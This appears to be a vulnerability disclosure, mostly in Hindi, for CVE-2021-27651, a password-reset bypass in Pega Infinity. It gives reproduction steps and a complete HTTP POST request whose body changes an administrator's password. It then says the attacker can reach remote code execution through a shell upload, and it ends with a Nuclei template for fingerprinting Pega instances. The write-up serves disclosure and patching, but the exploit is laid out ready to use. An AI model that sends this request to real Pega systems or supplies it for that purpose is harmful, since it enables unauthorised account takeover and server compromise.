CVE-2021-27651

सारांश

एक हमलावर पासवर्ड रीसेट प्रवाह के सभी चरणों को बायपास कर सकता है और Pega Infinity पर किसी भी उपयोगकर्ता के खाते को रीसेट कर सकता है। यह (1) पासवर्ड रीसेट प्रवाह शुरू करके और पीड़ित का ईमेल टाइप करके, फिर (2) HTTP POST अनुरोध को पासवर्ड अपडेट करने के लिए बाध्य करके किया जाता है। एक हमलावर नए संपादित खाते का उपयोग करके लॉग इन कर सकता है और कई स्वीकार्य पोस्ट-प्रमाणीकरण कोड निष्पादन वैक्टर (डायनामिक पेजों को संशोधित करना, टेम्प्लेटिंग, आदि) के माध्यम से Pega इंस्टेंस से पूरी तरह समझौता कर सकता है।

पुनरुत्पादन के चरण

1. किसी भी Pega इंस्टेंस के लॉगिन पृष्ठ पर ब्राउज़ करें
2. "reset password" पर क्लिक करें
3. "[email protected]" टाइप करें, HTTP अनुरोध को प्रॉक्सी करें, "[email protected]" के साथ HTTP अनुरोध को Burp repeater टैब या किसी समान टैब पर भेजें, फिर प्रॉक्सी को अक्षम करके या "send" पर क्लिक करके अनुरोध को आगे बढ़ने दें
4. प्रारंभिक अनुरोध को आगे बढ़ने देने के बाद, repeater में HTTP अनुरोध के बॉडी को संशोधित करें ताकि इसमें निम्न डेटा शामिल हो...

POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1

pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=

5. HTTP अनुरोध भेजने के बाद निम्न क्रेडेंशियल का उपयोग करके लॉग इन करें, पासवर्ड रीसेट के पुष्टिकरण भाग को बायपास करके और व्यवस्थापक खाते में लॉग इन करने में सक्षम होने पर...

[email protected] / Rules@1234

6. वहाँ से, आप कई स्वीकृत व्यवस्थापक-केवल कोड निष्पादन वैक्टरों में से किसी के माध्यम से RCE प्राप्त कर सकते हैं

प्रभावित संस्करण

Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2

प्रभाव

बिना किसी पूर्व आवश्यक ज्ञान के किसी भी Pega इंस्टेंस से पूर्ण समझौता।

सहायक मीडिया

• पासवर्ड बायपास

• शेल अपलोड के माध्यम से रिमोट कोड निष्पादन

Nuclei टेम्पलेट

id: pega

info:
  name: Pega Infinity Login
  author: sshell
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers:
      - type: word
        words:
          - "Pega API"

श्रेय

Andri Wijayanti (@andridev_),